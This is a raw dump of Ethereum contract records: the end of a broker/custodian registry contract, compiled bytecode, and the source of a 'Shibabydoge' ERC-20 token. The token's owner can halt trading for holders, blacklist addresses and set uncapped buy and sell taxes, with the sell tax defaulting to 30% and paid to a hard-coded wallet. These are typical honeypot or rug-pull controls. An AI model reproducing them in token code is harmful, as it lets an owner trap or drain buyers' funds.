_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Members.sol
contract Members is MembersInterface, Ownable {
address public custodian;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal brokers;
constructor(address _owner) public {
require(_owner != address(0), "invalid _owner address");
transferOwnership(_owner);
}
event CustodianSet(address indexed custodian);
function setCustodian(address _custodian) external override onlyOwner returns (bool) {
require(_custodian != address(0), "invalid custodian address");
custodian = _custodian;
emit CustodianSet(_custodian);
return true;
}
event BrokerAdd(address indexed broker);
function addBroker(address broker) external override onlyOwner returns (bool) {
require(broker != address(0), "invalid broker address");
require(brokers.add(broker), "broker add failed");
emit BrokerAdd(broker);
return true;
}
event BrokerRemove(address indexed broker);
function removeBroker(address broker) external override onlyOwner returns (bool) {
require(broker != address(0), "invalid broker address");
require(brokers.remove(broker), "broker remove failed");
emit BrokerRemove(broker);
return true;
}
function isCustodian(address addr) external override view returns (bool) {
return (addr == custodian);
}
function isBroker(address addr) external override view returns (bool) {
return brokers.contains(addr);
}
function getBroker(uint index) external view returns (address) {
return brokers.at(index);
}
function getBrokersCount() external view returns (uint) {
return brokers.length();
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063416a5d8111610071578063416a5d8114610149578063715018a61461015f578063836cae65146101695780638da5cb5b1461017c578063d99d6f9a1461018d578063f2fde38b146101a0576100a9565b80630257f38d146100ae57806322b31d9f146100de57806335c80c8c14610101578063375b74c314610123578063403f373114610136575b600080fd5b6100c16100bc3660046108aa565b6101b3565b6040516001600160a01b0390911681526020015b60405180910390f35b6100f16100ec366004610883565b6101c6565b60405190151581526020016100d5565b6100f161010f366004610883565b6001546001600160a01b0390811691161490565b6001546100c1906001600160a01b031681565b6100f1610144366004610883565b6101d3565b6101516102ac565b6040519081526020016100d5565b6101676102bd565b005b6100f1610177366004610883565b610331565b6000546001600160a01b03166100c1565b6100f161019b366004610883565b610432565b6101676101ae366004610883565b610536565b60006101c0600283610620565b92915050565b60006101c0600283610633565b600080546001600160a01b031633146102075760405162461bcd60e51b81526004016101fe906108c2565b60405180910390fd5b6001600160a01b03821661025d5760405162461bcd60e51b815260206004820152601960248201527f696e76616c696420637573746f6469616e20616464726573730000000000000060448201526064016101fe565b600180546001600160a01b0319166001600160a01b0384169081179091556040517fb88c20a211c5d7677ba2a26c317d8ae6b25aa492016dc8ceca2469761d063d8090600090a2506001919050565b60006102b86002610655565b905090565b6000546001600160a01b031633146102e75760405162461bcd60e51b81526004016101fe906108c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b0316331461035c5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166103ab5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6103b660028361065f565b6103f65760405162461bcd60e51b8152602060048201526011602482015270189c9bdad95c881859190819985a5b1959607a1b60448201526064016101fe565b6040516001600160a01b038316907f596fedda579f1f112db492a84dd35c6770886843b38385b17af2e007af1e04fb90600090a2506001919050565b600080546001600160a01b0316331461045d5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166104ac5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6104b7600283610674565b6104fa5760405162461bcd60e51b8152602060048201526014602482015273189c9bdad95c881c995b5bdd994819985a5b195960621b60448201526064016101fe565b6040516001600160a01b038316907f43c8cbfc72fcbcb9893729c9fc93a10e975730f59577494485111df43ff0f57490600090a2506001919050565b6000546001600160a01b031633146105605760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0381166105c55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101fe565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061062c8383610689565b9392505050565b6001600160a01b0381166000908152600183016020526040812054151561062c565b60006101c0825490565b600061062c836001600160a01b03841661071d565b600061062c836001600160a01b03841661076c565b815460009082106106e75760405162461bcd60e51b815260206004820152602260248201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016101fe565b82600001828154811061070a57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b6000818152600183016020526040812054610764575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556101c0565b5060006101c0565b600081815260018301602052604081205480156108795760006107906001836108f7565b85549091506000906107a4906001906108f7565b905060008660000182815481106107cb57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050808760000184815481106107fc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526001890190915260409020849055865487908061083d57634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506101c0565b60009150506101c0565b600060208284031215610894578081fd5b81356001600160a01b038116811461062c578182fd5b6000602082840312156108bb578081fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008282101561091557634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220b00998544b3515759f42ef144fff3c5bb7c796f8a62cff956864b7fc8f85e4ce64736f6c63430008030033
|
{"success": true, "error": null, "results": {}}
| 5,136 |
0x9d02e3bfa181c93f99cfebefee754c768002e077
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Shibabydoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibabydoge";
string private constant _symbol = "SBD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69000000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 30;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x9E7542dD83a51B2f2C22460437B478c3ffe1Dc12);
address payable private _marketingAddress = payable(0x9E7542dD83a51B2f2C22460437B478c3ffe1Dc12);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 3450000000000000000000 * 10**9;
uint256 public _maxWalletSize = 3450000000000000000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address botwallet) external onlyOwner {
bots[botwallet] = true;
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeFromFee(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[account] = excluded;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101f25760003560e01c80637f2feddc1161010d578063a9059cbb116100a0578063d4a3883f1161006f578063d4a3883f146105bd578063dd62ed3e146105dd578063df8408fe14610623578063ea1644d514610643578063f2fde38b1461066357600080fd5b8063a9059cbb14610538578063bfd7928414610558578063c3c8cd8014610588578063c492f0461461059d57600080fd5b80638f9a55c0116100dc5780638f9a55c0146104b657806395d89b41146104cc57806398a5c315146104f8578063a2a957bb1461051857600080fd5b80637f2feddc1461042b5780638ba4cc3c146104585780638da5cb5b146104785780638f70ccf71461049657600080fd5b806363c6f9121161018557806370a082311161015457806370a08231146103c0578063715018a6146103e057806374010ece146103f55780637d1db4a51461041557600080fd5b806363c6f912146103495780636b9990531461036b5780636d8aa8f81461038b5780636fc3eaec146103ab57600080fd5b806323b872dd116101c157806323b872dd146102d75780632fd689e3146102f7578063313ce5671461030d57806349bd5a5e1461032957600080fd5b806306fdde03146101fe578063095ea7b3146102445780631694505e1461027457806318160ddd146102ac57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600b81526a53686962616279646f676560a81b60208201525b60405161023b9190611b2a565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611b94565b610683565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b506d0366e7064422fd842023400000005b60405190815260200161023b565b3480156102e357600080fd5b506102646102f2366004611bc0565b61069a565b34801561030357600080fd5b506102c960185481565b34801561031957600080fd5b506040516009815260200161023b565b34801561033557600080fd5b50601554610294906001600160a01b031681565b34801561035557600080fd5b50610369610364366004611c01565b610703565b005b34801561037757600080fd5b50610369610386366004611c01565b61075a565b34801561039757600080fd5b506103696103a6366004611c33565b6107a5565b3480156103b757600080fd5b506103696107ed565b3480156103cc57600080fd5b506102c96103db366004611c01565b610838565b3480156103ec57600080fd5b5061036961085a565b34801561040157600080fd5b50610369610410366004611c4e565b6108ce565b34801561042157600080fd5b506102c960165481565b34801561043757600080fd5b506102c9610446366004611c01565b60116020526000908152604090205481565b34801561046457600080fd5b50610369610473366004611b94565b6108fd565b34801561048457600080fd5b506000546001600160a01b0316610294565b3480156104a257600080fd5b506103696104b1366004611c33565b61095c565b3480156104c257600080fd5b506102c960175481565b3480156104d857600080fd5b5060408051808201909152600381526214d09160ea1b602082015261022e565b34801561050457600080fd5b50610369610513366004611c4e565b6109a4565b34801561052457600080fd5b50610369610533366004611c67565b6109d3565b34801561054457600080fd5b50610264610553366004611b94565b610a11565b34801561056457600080fd5b50610264610573366004611c01565b60106020526000908152604090205460ff1681565b34801561059457600080fd5b50610369610a1e565b3480156105a957600080fd5b506103696105b8366004611ce5565b610a72565b3480156105c957600080fd5b506103696105d8366004611d39565b610b13565b3480156105e957600080fd5b506102c96105f8366004611da5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561062f57600080fd5b5061036961063e366004611dde565b610c06565b34801561064f57600080fd5b5061036961065e366004611c4e565b610c5b565b34801561066f57600080fd5b5061036961067e366004611c01565b610c8a565b6000610690338484610d74565b5060015b92915050565b60006106a7848484610e98565b6106f984336106f485604051806060016040528060288152602001611f8e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d4565b610d74565b5060019392505050565b6000546001600160a01b031633146107365760405162461bcd60e51b815260040161072d90611e13565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b031633146107845760405162461bcd60e51b815260040161072d90611e13565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107cf5760405162461bcd60e51b815260040161072d90611e13565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061082257506013546001600160a01b0316336001600160a01b0316145b61082b57600080fd5b476108358161140e565b50565b6001600160a01b03811660009081526002602052604081205461069490611448565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161072d90611e13565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161072d90611e13565b601655565b6000546001600160a01b031633146109275760405162461bcd60e51b815260040161072d90611e13565b61092f6114cc565b610947338361094284633b9aca00611e5e565b610e98565b610958600e54600c55600f54600d55565b5050565b6000546001600160a01b031633146109865760405162461bcd60e51b815260040161072d90611e13565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ce5760405162461bcd60e51b815260040161072d90611e13565b601855565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161072d90611e13565b600893909355600a91909155600955600b55565b6000610690338484610e98565b6012546001600160a01b0316336001600160a01b03161480610a5357506013546001600160a01b0316336001600160a01b0316145b610a5c57600080fd5b6000610a6730610838565b9050610835816114fa565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161072d90611e13565b60005b82811015610b0d578160056000868685818110610abe57610abe611e7d565b9050602002016020810190610ad39190611c01565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0581611e93565b915050610a9f565b50505050565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161072d90611e13565b6000838214610b8e5760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e677468000000000000000000604482015260640161072d565b83811015610bff57610bed858583818110610bab57610bab611e7d565b9050602002016020810190610bc09190611c01565b848484818110610bd257610bd2611e7d565b90506020020135633b9aca00610be89190611e5e565b611683565b610bf8600182611eae565b9050610b8e565b5050505050565b6000546001600160a01b03163314610c305760405162461bcd60e51b815260040161072d90611e13565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610c855760405162461bcd60e51b815260040161072d90611e13565b601755565b6000546001600160a01b03163314610cb45760405162461bcd60e51b815260040161072d90611e13565b6001600160a01b038116610d195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161072d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161072d565b6001600160a01b038216610e375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161072d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161072d565b6001600160a01b038216610f5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161072d565b60008111610fc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161072d565b6000546001600160a01b03848116911614801590610fec57506000546001600160a01b03838116911614155b156112cd57601554600160a01b900460ff16611085576000546001600160a01b038481169116146110855760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161072d565b6016548111156110d75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161072d565b6001600160a01b03831660009081526010602052604090205460ff1615801561111957506001600160a01b03821660009081526010602052604090205460ff16155b6111715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161072d565b6015546001600160a01b038381169116146111f6576017548161119384610838565b61119d9190611eae565b106111f65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161072d565b600061120130610838565b60185460165491925082101590821061121a5760165491505b8080156112315750601554600160a81b900460ff16155b801561124b57506015546001600160a01b03868116911614155b80156112605750601554600160b01b900460ff165b801561128557506001600160a01b03851660009081526005602052604090205460ff16155b80156112aa57506001600160a01b03841660009081526005602052604090205460ff16155b156112ca576112b8826114fa565b4780156112c8576112c84761140e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130f57506001600160a01b03831660009081526005602052604090205460ff165b8061134157506015546001600160a01b0385811691161480159061134157506015546001600160a01b03848116911614155b1561134e575060006113c8565b6015546001600160a01b03858116911614801561137957506014546001600160a01b03848116911614155b1561138b57600854600c55600954600d555b6015546001600160a01b0384811691161480156113b657506014546001600160a01b03858116911614155b156113c857600a54600c55600b54600d555b610b0d84848484611696565b600081848411156113f85760405162461bcd60e51b815260040161072d9190611b2a565b5060006114058486611ec6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610958573d6000803e3d6000fd5b60006006548211156114af5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161072d565b60006114b96116c4565b90506114c583826116e7565b9392505050565b600c541580156114dc5750600d54155b156114e357565b600c8054600e55600d8054600f5560009182905555565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061154257611542611e7d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce9190611edd565b816001815181106115e1576115e1611e7d565b6001600160a01b0392831660209182029290920101526014546116079130911684610d74565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611640908590600090869030904290600401611efa565b600060405180830381600087803b15801561165a57600080fd5b505af115801561166e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b61168b6114cc565b610947338383610e98565b806116a3576116a36114cc565b6116ae848484611729565b80610b0d57610b0d600e54600c55600f54600d55565b60008060006116d1611820565b90925090506116e082826116e7565b9250505090565b60006114c583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061186c565b6000806